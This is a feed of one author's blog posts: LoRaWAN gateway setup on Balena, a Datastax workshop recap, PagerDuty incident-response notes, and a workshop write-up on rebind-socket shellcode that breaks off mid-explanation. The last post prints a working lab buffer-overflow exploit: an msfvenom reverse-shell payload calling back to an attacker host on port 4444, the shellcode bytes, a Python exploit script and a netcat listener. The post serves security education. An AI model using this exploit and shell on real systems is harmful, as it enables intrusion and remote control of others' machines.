DEV Community: Faiz Azhar

How to connect LoRaWAN gateway to Balena cloud

Faiz Azhar — Mon, 16 Aug 2021 21:56:58 +0000

Today I attended day 1 of "The Things Summer Academy", so I'm sharing what I have learned here.

On the previous week, I had ordered the "RAK Discover Kit 2" from the RAK Wireless Store. It costs around US$170 but this includes the complete set like a Raspberry Pi 4B 4GB with UK power adapter, a 16GB SD card with the default firmware already installed, a RAK2287 LPWAN Concentrator and a RAK2287 Pi Hat. I think it is a good deal compared to buying the parts individually.

If you do decide to buy them separately, just remember to select the SPI version instead of the USB version because that's how the Pi HAT connects. Also, currently the basicstation repository only works with SPI.

According to the guys, "USB is not a good idea as basically there is an SPI to USB to MCU convertor going on - whereas SPI can talk straight to the MCU. LoRaWAN gateways are very timing sensitive so if something is randomly using up USB bandwidth it can throw things off."

I thought I may not be able to receive the parcel in time due to global delivery delay, but I was impressed that the FEDEX guys came and delivered the kit to my place just 1 hour before the workshop starts. I'm happy to have all the parts that I need to start hacking right away!

The Ants

The Pi Hat and gateway concentrator were already attached to the Raspberry Pi out of the box, except the antennas. Before turning the power on, I have to make sure to connect the antennas first because the documentation mentioned that detaching the antenna while powered on might damage the circuitry.

At first, I was confused which one is the GPS antenna, and which one is the LoRa antenna. Asking one of the guys in the Slack, someone was kind enough to answer,
"The square lozenge is the GPS antenna, while the longer black (coil) is the LoRa antenna, probably also shipped with a frequency label (e.g. 868Mhz) which is the big clue."

The instructor mentioned that the legacy packet forwarder (the default firmware loaded in the SD card) is based on UDP transport protocol, so the data will be unencrypted in transit, and being UDP it means having no reliability mechanism built-in. Thus, the goal of this workshop is to load a custom firmware over the air and manage the deployments via Balena cloud.

The Basic Station

Balena cloud deploys the application into docker containers, and the one I'm deploying is called basicstation, a secure websocket based implementation of the packet forwarder.

The easiest way is to go to Balena hub and fork the fleet.

Since I did not have an account with Balena yet, I simply authorized creating an account via my Github account.

Next, it asks me to give the fleet a name, so I'm naming it "osm-solution". Because this is supposed to be an oh-sem solution! Get it? Awesome!

I'm selecting Raspberry Pi 4 here because that's the device I have:

Clicking the "Advanced" toggle button will reveal the configuration variables. I'm changing the MODEL variable value to SX1302 because the RAK2287 LPWAN gateway concentrator included in the kit is using the SX1302 chipset. I'm also changing the TTN_REGION value to au1 because that's the closest TTN (The Things Network) region in APAC. I leave the default values for the rest of the variables for now.

Then I'm going to add the device to be managed by Balena Cloud. Here I added my home WiFi details so that my Raspberry Pi is able to connect to the internet as soon as it is powered on.

By the way, did you noticed my home SSID is named "ARPAnet"? How geeky is that?!

This will prepare the custom firmware in a zip file ready to be downloaded.

Flash and Burn!

I'm using Balena Etcher to burn the firmware into the SD card.

After inserting the micro SD card to the laptop's USB port, I make sure to select the correct disk. Well, you don't want to accidentally rm -rf your hard disk, do you?

As for the SD card, the guys said that minimum class 4 is recommended but basically don't skimp on this, get the highest quality branded product like SanDisk Extreme, Kingston or Toshiba, and choose Class 10 if possible. The kit came with Sandisk Ultra 16GB, so that's what I'm going to use here though.

... finally I can flash myself! Oops, I mean, the card.

In the discussion, the guys mentioned that instead of using SD card, we can also boot from USB SSD stick or eMMC module such as the RasPiKey. Balena also produces an independent hardware called Balena Fin which uses industrial eMMC and the Pi Compute Module. These alternatives may prove to be more reliable if you plan to deploy the gateways for commercial use. I'm using this for learning and rapid prototyping, so the storage type doesn't really matter at this point in time.

Next, I inserted the flashed SD card into Raspberry Pi and turned the power on. After a while, I can see the device successfully connects to Balena Cloud. Wow, it's really that easy!

Using the dashboard will allow me to easily manage and update multiple gateways remotely. I can also see where the gateway location is, that's pretty cool!

At the Device Summary section, there's the gateway EUI, which is the first 6 bytes of the ethernet MAC address padded into 8 bytes. The EUI is populated into the TAGS when the device gets provisioned on Balena cloud for the first time. Copy this value because it will be used next.

Where the wild things are

Next step would be to connect the gateway to The Things Network. I already had an account created previously when I took The Things Certification last year, so I'm going to simply login into the dashboard.

For the region selection, I chose the "au1" region, because that is what I had defined in the TTN_REGION variable previously, remember?

I want to register a new gateway, so I'm choosing that option here:

So I pasted the gateway EUI value that was copied earlier:

Here we have to select the right frequency based on the country the gateway will be used in, so I chose one from the list here. By the way, the hardware frequency had already been decided when ordering the LPWAN concentrator module from the store. So you can't really choose any other option here anyway, it wouldn't work.

The summary page will be shown once the gateway has been successfully registered.

Security is the key

Next, I'm going to create an API key so that the gateway can securely connect to The Things Network. The "API keys" option can be found at the top or left hand side of the screen.

I'm granting a specific rights as in the screenshot below, then proceed to generate the key:

Let's not forget to copy the API key here!

Finally, I return to Balena cloud dashboard and go to the fleet's (or device's) variables settings. The API key is the one represented by the TC_KEY variable:

I paste the API key copied earlier into the TC_KEY value:

When I go back to The Things Network dashboard, I am able to see that the gateway was "Last seen ... ago".

This shows that the gateway was able to successfully connect to The Things Network, and can now send data uplink and receives downlink data.

Over the air and beyond!

Lastly, I want to practise how to manage the firmware updates OTA (over-the-air). I will be adding changes to the gateway fleets by deploying a new docker container called "wifi-connect".

I create a new folder and pull the "basicstation" repository there:

mkdir basicstation-wificonnect
cd basicstation-wificonnect
git clone https://github.com/mpous/basicstation

Next, I create a docker-compose.yml file and paste the following contents. This is based on the docker-compose.yml file in the original wifi-connect repository.

version: "2.1"

services:
  wifi-connect:
    image: balenablocks/wifi-connect:aarch64
    restart: always
    network_mode: host
    privileged: true
    labels:
      io.balena.features.dbus: "1"
      io.balena.features.firmware: "1"

  basicstation:
    build: ./basicstation
    privileged: true
    restart: always
    network_mode: host

Next, I install the Balena CLI tool from here and authenticate using the web authorization method:

balena login

Push the contents of the basicstation-wificonnect folder into Balena cloud:

balena push <deployment_name>

It will take some time to finish:

I can see the software updates has been successfully released:

Wifi-connect here will check the internet connection every 120 seconds. If it detects that there is no internet connections is unavailable, it will switch the connection to access point mode. The user can then connect to the SSID and configure the WiFi credentials via a captive portal. This is useful when using the gateway outdoors or for mobile deployments.

I can now confirm that the new feature that was added (wifi-connect) is running fine by reviewing the logs:

Summary

In this workshop, I had learned to build my first LoRaWAN gateway with Raspberry Pi, and how to manage the gateway remotely with Balena Cloud. Then I learned how to register the gateway to The Things Network and authenticate it with API key. Finally I learned how to update the gateway software over-the-air.

Stay tuned for day 2 reports tomorrow! (or a few days later, no pressure, haha!)

References

Datastax AppDev Summer Learning Series

Faiz Azhar — Sun, 15 Aug 2021 13:46:18 +0000

Recently I have completed application development workshops organized by Datastax.

Here's what I learned:

how to build a TodoApp with Javascript and React
how to build a TikTok clone with JAM stack
how to build a Netflix clone with GraphQL

Specifically, using React's create-react-app, I learned how to customize and structure my codes based on the framework. Building on that, I learned how to interact with Cassandra database backend via APIs using Swigger and GraphQL. Finally, I learned how to build the web application and deploy the static files to Netlify along with the serverless functions to retrieve data from the database.

Instead of using Netlify, I planned to deploy the JAM stack application to Cloudflare Pages and using Cloudflare Workers to handle the serverless functions.
I will write another blog post on that after this project completes!

Here are the links to my TikTok and Netlify clone applications!

Here are my repositories:

Here are the links to the workshop recordings:

Building your first app with Javascript and NodeJS
https://www.youtube.com/watch?v=NzT_w3YHpuI&t=3808s
Build your own TikTok Clone!
https://www.youtube.com/watch?v=E5RtsqP53ic
Build your own NETFLIX clone!
https://www.youtube.com/watch?v=csOcK0G23vU

Here are my badges!

The Golden badge was awarded after successfully completing all the hands-on practice in the workshop and the homework.

What is an Incident Response process

Faiz Azhar — Sat, 10 Jul 2021 17:24:45 +0000

Recently I attended the PagerDuty Incident Responder Masterclass as part of the PagerDuty Summit 2021.

Before this course, I already have some experience participating in an incident war room as part of my day job, and incident response is a topic commonly discussed in literature such as in cybersecurity. So I started the PagerDuty Incident Responder course assuming that I already knew most of the stuff.

However, when I got halfway through the course, I started to diligently take notes, because I realized there were many gems and insights here that should not be overlooked. The course is really that good! It covers a lot of ground from history and definitions of the framework, up to an introduction of cognitive bias, but my favorite parts are the best practices and the advice given. Those are very practical and sound.

The course description mentioned that the course is suitable for technical team leads, managers, directors, responders, and anyone seeking to better their incident response process. I agree that everyone on the team should take this course as a prerequisite before joining an incident call.

They seem to have the stats to back this up:

I'm sharing here my thoughts and key takeaways about the course. Thank you to Hayley Neal and Camden Louie from the PagerDuty University for delivering this workshop.

Introduction of Incident Response

Incident: any uplanned disruption or event that is affecting customers' ability to use the product.
Goal: to handle the situation in a way that limits damage and reduces recovery time and costs.
Replace chaos with calm.
Incident Response: an organized approach to addressing and managig an incident.

Incident Command System (ICS):

Major incident: requires a coordinated response between multiple teams.
- Timing is a surprise, typically little to no waarning
- Time matters, need to respond quickly
- Situation is rarely perfectly understood at the start
- Require coordination and mobilization, often cross-functional
Anyone can trigger the Incident Response Process at any time.

The difference in emergency operations:

Hierarchy, clear order, work fast
Resolution team has the highest authority
Team works together to resolve incident, document what happened, and keep stakeholders updated.
Emergency mode until the incident is officially resolved.

Response Team Goals:

Work to resolve the incident quickly and efficiently
Document decisions and follow up items
Keep stakeholders informed
Stay in wartime until the incident is officially resolved

To accomplish this goal:

Mobilize and inform only the right people at the right time
Use systematic learning and improvement
Work towards total automation.

People Roles

Role of an Incident Commander:

Single source of reference
Is not a resolver but to coordinate and delegate
Gain consensus
Make a decision

Size-up -> Stabilize -> Update -> Verify

Becomes the highest authority (even higher than the CEO). Can only do that if you know what is being done and why.
Work to resolve the incident quickly by building consensus. Practice the "two ears, one mouth" rule: listen twice as much as you speak.
Don't panic. Breakdown in communication can hamper the entire process. The role of an IC is to try to make the line of communication clear and maintain discipline.
Clear is better than concise. Avoid acronyms.

Start by introducing yourself.

"Hello, this is Camden. I'm the Incident Commander."

If there are no IC in the call, if you are trained as an IC and joined the call, you'll be the IC.
The oncall incident commander would not take over automatically when they join a call, you'll be the IC until you performed a handover.

> "Is there an IC on the call?""
< ...
> "Hearing nothing. My name is Camden, I'm the incident commander."

Incident cycle is to stabilize the situation:

Ask for status.
Decide action, gain consensus.
Assign task.
Follow up on task completion.

"What actions can we take?" (ask the SMEs what they want to do)
"What are the risks involved?" (understand the impact, that may change the decision)

Make a decision:

Avoid decision paralysis. It prolongs the incident much further.
Making a wrong decision is better than making no decision.
Flip a coin if you need to. You learn nothing new and make no progress otherwise. At least wrong decision will give you new information.

Gain consensus:

Rely on team's expertise to try out a solution for that incident.
Distributed consensus is hard, so read it in a different way to implicitly gain consensus.

> "I propose xxx. Are there any strong objections?"
< ...
> "Hearing none. Let's proceed."

Clear ownership:

Avoid "bystander effect". Point to somebody.

"Hayley, I'd like you to investigate the increased latency, try to find the cause. I'll come back to you in 5 minutes. Understood?"

Assign actions:

Assign tasks to a specific person. It's fine to assign to a role (e.g DBA oncall) as long as the role points to a single individual. Don't assign to a group.
Time-box all tasks to set expectations.
Get acknowledgements.

"Hayley, it's been 5 minutes. Do you have any information on the latency issue?"

What if they need more time?

Ask the experts how long do they think they need.

> "How much time do you need?"
< "20 minutes should be enough"
> "OK, I'll come back to you in 20."

Map incident cycle with corresponding phrase:

What's wrong?
What action can we take? What are the risks? Are there any strong objections?
Clear ownership with a timebox.
What's the status?

Deputy role (IC's right hand):

Keeps the IC focused.
Takes on any and all additional tasks as necessary (timekeeping, paging people etc)
Serves to follow up on reminders and ensure tasks aren't missed.
Acts as a "hot standby" for the IC.

Scribe role (record keeper):

Documents the incident timeline and important events as they occur.
The incident log will be used during the post-mortem.
Notes as important actions are taken, follow-up items, and status updates.
Anyone can be a scribe. For small incidents, typically a deputy can also be a scribe.

Communications Liaison role:

Can be all-in-one, or separate for external and internal stakeholders
Notifies customers of current conditions.
Informs the IC of relevant feedback from customers as incident progresses.
Crafts language appropriate status updates and notification. (e.g use words like "service disruption" instead of "outage")
Typically a member of the Support team.

Notify stakeholders:

Don't ask for too frequent status updates.
Remind people that writing an update takes away time from solving the incident.
Recommend no more frequently than every 20-30mins, and at the start of a phase.

Minimum bases to cover:

Make sure chain of command is clear, every role reports to IC. Only one leader directing the shell.
Incident Command System (ICS) is a framework and can be scaled up or scaled down based on your organization.

Being Prepared for Incidents

The 4 steps of an incident:

Triage (assess)
Mobilize (the right people)
Resolve (work towards a common goal)
Prevent (have the right teams and roles engaged)

How do I prepare to manage incident response teams?

Ensure explicit processes and expectations exist.
Set up runbooks and automated actions.
Find ways to create more space for your teams to work.
Make checklists (read the "Checklist Manifesto") reduce the strain to remember stuffs during time of panic.
Practice running major incidents as a team (do regular Failure Fridays so IC can always be calm and collected)

Incident response pitfalls (anti-patterns)

Executive hostile takeover:

< "Ignore the IC, do what I say!"
> "Do you wish to take command?"
< "..."
> "We understand your concerns. We are working to resolve the incident quickly. Your instructions are slowing down the response. So please take your comment for discussion after the incident has been resolved."

Motivate people to solve things faster:

< "Let's try and resolve this in 10 minutes please!"
> "We're in the middle of an incident, please keep your comments until the end."

Requesting time-consuming information:

< "Can I get a spreadsheet of all affected customers?"
> "This will take time away from the incident. This is the time needed to solve the problem, after then we can look at the list."
> "We can either get you that list, or fix the incident. Not both. The incident takes priority."

Arguing about severity:

If cannot decide on the severity, always assume it's a high severity and keep moving on.
Even if it turns out to be a SEV-4 doesn't matter, that's something to discuss in the post-mortem.

< "Is this really a SEV-1?"
> "We do not discuss incident severity during the call. We're treating this as a SEV-1."

Failure to notify stakeholders

Anti-pattern: Getting everyone on the call.
-> Get the right people at the right time

Anti-pattern: Forcing everyone to stay on the call.
-> If you don't need this person anymore, let them go.

Being overly focused on an issue.
-> Keep the bigger picture in mind (as an SME and IC)

Requiring deeply technical Incident Commanders
-> IC can be team agnostic. IC is the person expert in coordinating the response, not actually solving technical issues. That's what SMEs are for.

The Belligerent Responder (big ego)

"Hey, you're being obstructive to the team on the call. If you continue, I will have to remove you."

Handsoffs are encouraged

Responders are human. Encourage taking responders off after 90 mins or so.
More importantly, ICs need to have handoffs. Replace with deputy, rotate a new deputy in. Keep the cycle going.
This is the reason it's important to have as many trained ICs as we possibly can. Make sure everybody stays fresh, rested and ready to respond.

> "Everyone on the call, be advised I'm handing over command to Tatiana."
< "This is Tatiana, I'm now the Incident Commander."

PagerDuty Ops Guides:

response.pagerduty.com

Follow Up and Postmortems

What went wrong, and how do we learn from it?
Institutionalize the culture of continuous improvement.
Completing a postmortem should be prioritized over planned work.
Create SLA:
- 3 business days for SEV-1
- 5 business days for SEV-2
IC will select and directly notify one responder to own completing the postmortem.
Postmortem owner is not the only person responsible for completing the postmortem itself. It is a collaborative effort and should include everyone involved in the incident response.
Postmortems are not a punishment. Effective postmortems are blameless.
We don't call postmortems RCAs. Because in a complex systems, we have multiple root causes that leads to failure.
Owner is the accountable individual who performs the administrative tasks, follows up the information needed to drive it home. Writing it is a collaborative effort, but the single owner is the person orchestrating the entire effort.
Pointing finger in the old view of human error will increase time to acknowledge the incident, MTTR and exacerbating the impact of incident.
Becoming aware of our biases, we can identify when they occur and work to move past them.

Fundamental attribution error.
- Tendency to believe what people do reflect their character rather than the circumstances.
- To combat: Intentionally focus the analysis on the situational causes rather than discrete actions that people took.
Confirmation bias.
- Tendency to favor information that reinforces our existing beliefs.
- When presenting with ambiguous information, the human mind interprets it in a way that supports the existing assumptions a lot of the time.
- To combat: Pointing someone to play the devil's advocate. Their job is to take a contrarian viewpoint during the investigation. Be cautious of introducing negativity or combativeness with that devil's advocate.
- Alternatively, invite someone from other team to ask any and all questions that come to mind. Help to surface the things the team take for granted.
Hindsight bias.
- Memory distortion where we recall events to form a judgement.
- If we know the outcome, it's easy to see the event as being predictable, despite there has been little to no objective basis of predicting it.
- People often call events to make themselves look better, believe they knew it's going to happen as the event is unfolding. Acting on this bias can lead to defensiveness in the team.
- To combat: explaining events in terms of foresight. Work the timeline forward instead of starting from the resolution then work backwards.
Negativity bias.
- The notion of things that have more of a negative nature have a greater effect on one's mental state than those of a neutral or positive nature.
- Research on social judgement show that negative information disproportionately impact the person's impression of others. We tend to focus and magnify the negative events, and this can lead to demoralizing, burnouts, chaos.

How to avoid blame:

Ask "what" and "how" questions rather than "who" or "why"
Ask why a reasonable, rational, and decent person may have taken a particular action.
Consider multiple and diverse perspectives.
Abstract to an inspecific responder, anyone can have made the same mistake.

Introducing postmortem practices:

As leaders, you must help introduce blameless postmortems.
- Culture change is hard. Change does not have to be driven by management, can be bottom-up changes that are often more successful than top-down mandate.
- Make sure you have buy-in and go up to your leadership team once you have buy-in from individual contributors.
- Need commitment from leadership that no individual will be reprimanded after an incident.
Sell the business value of blamelessness. Encourage collaborative learning.
Get buy-in from individual contributors, because the tendency to blame is not unique to managers, can be across team mates as well.
- Explain why blameness is harmful to trust and collaboration.
- Agree to work together to become blame-aware and be accountable by kindly call to each other when blame is observed.
Acknowledge that practicing blamelessness is difficult for everyone.
- Avoid blaming the management for blaming others. Ask leadership if they could be receptive to receiving the feedback if and when they accidentally suggest blame after an incident.

Psychological safety:

A sense of confidence that the team will not embarrass, reject, or punish someone for speaking up.
People need to feel safe talking about failure before they speak up about incident.
This becomes a key driver of high performing software delivery teams.

How do I even change culture?

The #1 thing you can do for your teams is to build a culture of psychological safety with blameless postmortems.

The Postmortem Report best practices around the process

Schedule portmortem meeting for 30 mins to 1 hour depending on the complexity of that incident.

Create a timeline:

Present only facts.
Report any changes in the status and impact of the incident and any key actions taken by responders.
For each items in the timeline, identify metrics to help illustrate each points clearly based on facts rather than opinion.
Link to monitoring graphs or tweets in some cases. Anything showing a data point that you want to illustrate could be added to the timeline.

Document the impact:

Described from a few perspectives:
- How long the impact is visible? The length of time user/customers/partners are affected. Often they were impacted before the incident was triggered.
- How many customers were affected, how many percentage? Support may need to list the number of customers so they can reach out individually.
- How many customers wrote or call support about the incident?
- What functionality was impacted and how severely impacted?
Quantify impact with business metrics specific to your product.

Analyze the incident:

An individual's action should never be considered a root cause, especially not a name.
Check data. Ask why the system was designed to make this possible? Why the design decision seem to be the best decision during the time? Answering these questions will help uncover the contributing factors.
Convert all to-do lists into tickets, but these do not need to be completed before the postmortem meeting.
All action items should be actionable, specific and bounded.
- Actionable: each action item is a sentence that should start with a verb.
- Specific: the action should resolve in a useful outcome.
- Bounded: to tell when it's actually finished as opposed to continually ongoing.

Write external messaging:

A summarized and sanitized version of the information used for the internal postmortem.

Postmortem meeting:

An essential outcome is buy-in for the action plan.
Opportunity to discuss proposed action items, brainstorm other opinions and gain consensus among the team of leadership.
Discuss what will and will not be done and the explicit implications of the choices.
Written postmortem is intended to be shared widely within the organization, but the primary audience of the postmortem meeting is the team directly involved with the incident.
The meeting gives the chance to the team to align with what happened, what to do about it and how to communicate the incident to internal and external stakeholders.
Develop good facilitators.
- Encourage participants to speak up and keep the discussion on track.
- Helpful to designate a facilitator who is not also trying to participate in the discussion.

Information sharing:

Adopt practices that promote sharing. People want to share their successes and they want to replicate that success.
May seem counterintuitive to share incident reports because it seems that you're sharing failure rather than success.
The truth is, practicing blameless postmortem leads to success because it enables teams to learn from failure, and improve systems to reduce the prevalence of failure.
Being transparent about system failure reinforces a culture of blamelessness.

Accountability:

Engage leaders that prioritize work.
Email completed postmortems to all teams involved in incident response.
Schedule postmortem meetings on a shared calendar annd anyone is welcomed to join.
Create a community of experienced postmortem writers to review drafts and spread good practices.
Clarify policy and ownership of postmortem action items.
Start small. Get feedback and continue to grow from there.
Practice makes perfect. Find opportunity to practice, organize Failure Fridays in a non-production environment and conduct table top discussions.

More info:

postmortems.pagerduty.com

Rebind Socket Shellcode

Faiz Azhar — Sat, 12 Jun 2021 21:08:02 +0000

Advanced Shellcoding Workshop

Today I attended an advanced shellcoding workshop organized by Div0 and taught by Arnold Anthony. Previously I had attended the basics of buffer overflow and custom shellcoding workshop taught by him but I had lost the notes, so this time I'm going to post my notes here so I won't lose them again.

A few minutes after the workshop started, the courier came knocking on my door and delivered the @WakeTheCrew espresso coffee concentrate (highly recommended!) that I had ordered 2 days ago. After enjoying a cup of cold brew coffee, I was ready to start hacking!

Arnold starts by explaining the goal of this workshop.
Sometimes during reconnaissance, we might know the server is running a vulnerable process but is protected by firewall and thus, we cannot get a reverse/bind shell.
In this workshop, he explained how to create a shellcode that rebinds the socket to the same port that's allowed by the firewall, so we can connect to it.

In this workshop, we're using Win7 VM which had ASLR disabled on purpose. In real world, generally we will need to bypass ASLR, however this will be out of the scope of this workshop.

Here's the IP addresses of the VMs I'm using.

Win7: 172.16.202.133
Kali Linux: 172.16.202.130

Why and when does a rebind socket needed?

First, let's review a situation when a rebind shell is not needed.

In our PoC (proof of concept), a vulnerable server vulnserver.exe was started in the Win7 VM.

I started by port scanning the Win7 machine using nmap in Kali:

nmap -sS 172.16.202.133
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-12 10:17 +08
Nmap scan report for 172.16.202.133
Host is up (0.00056s latency).
Not shown: 988 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
5357/tcp  open  wsdapi
9999/tcp  open  abyss     <------ vulnserver.exe
10243/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
MAC Address: 00:0C:29:73:49:4C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds

I can see there are a lot of services running, one of them is port 9999 served by our vulnserver.

Here I created a Windows reverse shell payload using msfvenom which generates a shellcode for Python script. A vulnerable process receiving this payload will connect to my Kali machine over port 4444.

msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp lhost=172.16.202.130 lport=4444 -e x86/shikata_ga_nai -b "\x00" -f python

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xda\xcb\xd9\x74\x24\xf4\x5d\xb8\xd8\xea\xce\x07\x33"
buf += b"\xc9\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x1d\xee\x2c"
buf += b"\xf2\x61\x07\x32\xfd\x99\xd8\x53\x77\x7c\xe9\x53\xe3"
buf += b"\xf5\x5a\x64\x67\x5b\x57\x0f\x25\x4f\xec\x7d\xe2\x60"
buf += b"\x45\xcb\xd4\x4f\x56\x60\x24\xce\xd4\x7b\x79\x30\xe4"
buf += b"\xb3\x8c\x31\x21\xa9\x7d\x63\xfa\xa5\xd0\x93\x8f\xf0"
buf += b"\xe8\x18\xc3\x15\x69\xfd\x94\x14\x58\x50\xae\x4e\x7a"
buf += b"\x53\x63\xfb\x33\x4b\x60\xc6\x8a\xe0\x52\xbc\x0c\x20"
buf += b"\xab\x3d\xa2\x0d\x03\xcc\xba\x4a\xa4\x2f\xc9\xa2\xd6"
buf += b"\xd2\xca\x71\xa4\x08\x5e\x61\x0e\xda\xf8\x4d\xae\x0f"
buf += b"\x9e\x06\xbc\xe4\xd4\x40\xa1\xfb\x39\xfb\xdd\x70\xbc"
buf += b"\x2b\x54\xc2\x9b\xef\x3c\x90\x82\xb6\x98\x77\xba\xa8"
buf += b"\x42\x27\x1e\xa3\x6f\x3c\x13\xee\xe7\xf1\x1e\x10\xf8"
buf += b"\x9d\x29\x63\xca\x02\x82\xeb\x66\xca\x0c\xec\x89\xe1"
buf += b"\xe9\x62\x74\x0a\x0a\xab\xb3\x5e\x5a\xc3\x12\xdf\x31"
buf += b"\x13\x9a\x0a\x95\x43\x34\xe5\x56\x33\xf4\x55\x3f\x59"
buf += b"\xfb\x8a\x5f\x62\xd1\xa2\xca\x99\xb2\x60\x1a\x6b\xc0"
buf += b"\x11\x19\x6b\xd4\xbd\x94\x8d\xbc\x2d\xf1\x06\x29\xd7"
buf += b"\x58\xdc\xc8\x18\x77\x99\xcb\x93\x74\x5e\x85\x53\xf0"
buf += b"\x4c\x72\x94\x4f\x2e\xd5\xab\x65\x46\xb9\x3e\xe2\x96"
buf += b"\xb4\x22\xbd\xc1\x91\x95\xb4\x87\x0f\x8f\x6e\xb5\xcd"
buf += b"\x49\x48\x7d\x0a\xaa\x57\x7c\xdf\x96\x73\x6e\x19\x16"
buf += b"\x38\xda\xf5\x41\x96\xb4\xb3\x3b\x58\x6e\x6a\x97\x32"
buf += b"\xe6\xeb\xdb\x84\x70\xf4\x31\x73\x9c\x45\xec\xc2\xa3"
buf += b"\x6a\x78\xc3\xdc\x96\x18\x2c\x37\x13\x28\x67\x15\x32"
buf += b"\xa1\x2e\xcc\x06\xac\xd0\x3b\x44\xc9\x52\xc9\x35\x2e"
buf += b"\x4a\xb8\x30\x6a\xcc\x51\x49\xe3\xb9\x55\xfe\x04\xe8"

I pasted the generated payload in my Python script exp.py, where 0x625011af is the “JMP ESP” address. Arnold said he won't explain how we get to this address since that's covered in the previous Buffer Overflow workshop.

#!/usr/bin/python
import socket
import sys

buf =  b""
buf += b"\xda\xcb\xd9\x74\x24\xf4\x5d\xb8\xd8\xea\xce\x07\x33"
buf += b"\xc9\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x1d\xee\x2c"
buf += b"\xf2\x61\x07\x32\xfd\x99\xd8\x53\x77\x7c\xe9\x53\xe3"
buf += b"\xf5\x5a\x64\x67\x5b\x57\x0f\x25\x4f\xec\x7d\xe2\x60"
buf += b"\x45\xcb\xd4\x4f\x56\x60\x24\xce\xd4\x7b\x79\x30\xe4"
buf += b"\xb3\x8c\x31\x21\xa9\x7d\x63\xfa\xa5\xd0\x93\x8f\xf0"
buf += b"\xe8\x18\xc3\x15\x69\xfd\x94\x14\x58\x50\xae\x4e\x7a"
buf += b"\x53\x63\xfb\x33\x4b\x60\xc6\x8a\xe0\x52\xbc\x0c\x20"
buf += b"\xab\x3d\xa2\x0d\x03\xcc\xba\x4a\xa4\x2f\xc9\xa2\xd6"
buf += b"\xd2\xca\x71\xa4\x08\x5e\x61\x0e\xda\xf8\x4d\xae\x0f"
buf += b"\x9e\x06\xbc\xe4\xd4\x40\xa1\xfb\x39\xfb\xdd\x70\xbc"
buf += b"\x2b\x54\xc2\x9b\xef\x3c\x90\x82\xb6\x98\x77\xba\xa8"
buf += b"\x42\x27\x1e\xa3\x6f\x3c\x13\xee\xe7\xf1\x1e\x10\xf8"
buf += b"\x9d\x29\x63\xca\x02\x82\xeb\x66\xca\x0c\xec\x89\xe1"
buf += b"\xe9\x62\x74\x0a\x0a\xab\xb3\x5e\x5a\xc3\x12\xdf\x31"
buf += b"\x13\x9a\x0a\x95\x43\x34\xe5\x56\x33\xf4\x55\x3f\x59"
buf += b"\xfb\x8a\x5f\x62\xd1\xa2\xca\x99\xb2\x60\x1a\x6b\xc0"
buf += b"\x11\x19\x6b\xd4\xbd\x94\x8d\xbc\x2d\xf1\x06\x29\xd7"
buf += b"\x58\xdc\xc8\x18\x77\x99\xcb\x93\x74\x5e\x85\x53\xf0"
buf += b"\x4c\x72\x94\x4f\x2e\xd5\xab\x65\x46\xb9\x3e\xe2\x96"
buf += b"\xb4\x22\xbd\xc1\x91\x95\xb4\x87\x0f\x8f\x6e\xb5\xcd"
buf += b"\x49\x48\x7d\x0a\xaa\x57\x7c\xdf\x96\x73\x6e\x19\x16"
buf += b"\x38\xda\xf5\x41\x96\xb4\xb3\x3b\x58\x6e\x6a\x97\x32"
buf += b"\xe6\xeb\xdb\x84\x70\xf4\x31\x73\x9c\x45\xec\xc2\xa3"
buf += b"\x6a\x78\xc3\xdc\x96\x18\x2c\x37\x13\x28\x67\x15\x32"
buf += b"\xa1\x2e\xcc\x06\xac\xd0\x3b\x44\xc9\x52\xc9\x35\x2e"
buf += b"\x4a\xb8\x30\x6a\xcc\x51\x49\xe3\xb9\x55\xfe\x04\xe8"

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" +"\x90"*10+ buf + "C"*(3000-len(buf)-4-2003-10) #625011af

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect(('172.16.202.133',9999))
        s.send(('TRUN /.:/'+shellcode))
        print("Fuzzing with TRUN comamnd with %s bytes"% str(len(shellcode)))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()

So I started a netcat listener in a new console tab in Kali:

nc -lvp 4444

Then I ran the exploit script:

python exp.py

When I checked netcat I can see a Windows command prompt was displayed.
This means the Python script successfully connected to my Win7 machine over port 9999, then the shellcode creates a reverse shell using a random local port, which calls back to my netcat listener on my Kali machine over port 4444:

C:\Users\test\Desktop>netstat -ano | findstr 4444
netstat -ano | findstr 4444
  TCP    172.16.202.133:49175   172.16.202.130:4444    ESTABLISHED     2212

Imagine if there is a firewall that blocks connection to custom ports like 4444. In this case, there is no way we can get the reverse shell to work.

To simulate this scenario, I disabled all inbound rules in "Windows Firewall" which allowed external connections to connect to this machine. Then I created a new rule which only allow inbound connections to port 9999.

Inbound Rules > Select all > Disable rule
Action > New Rule > Port > Specify TCP port 9999 > Allow the conection > Next > Give a name > Finish

Next, I configured the firewall to block all outbound connections from this Win7 VM:

Right click on "Windows Firewall with Advanced Security" > Properties > Domain Profile/Private Profile/Public Profile > Outbound connections > Block > OK

Now when I do a port scan, I can confirm the only exposed port in Win7 is port 9999.
In real world, if we see only one or two ports exposed, this means there's probably a firewall involved.

nmap 172.16.202.133
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-12 11:03 +08
Nmap scan report for 172.16.202.133
Host is up (0.00038s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE
9999/tcp open  abyss
MAC Address: 00:0C:29:73:49:4C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 15.88 seconds

If I re-run netcat and the Python script again, this time we will not get a shell. Even though the script was able to connect to port 9999 and exploited the server, the firewall blocked outbound connection to my Kali machine.

So the goal of this workshop is to figure out how we can get a shell even in this situation.

How does a Rebind Socket work

Overview:

Create a suspended cmd.exe process via shellcode.
In cmd.exe process, allocate a memory space.
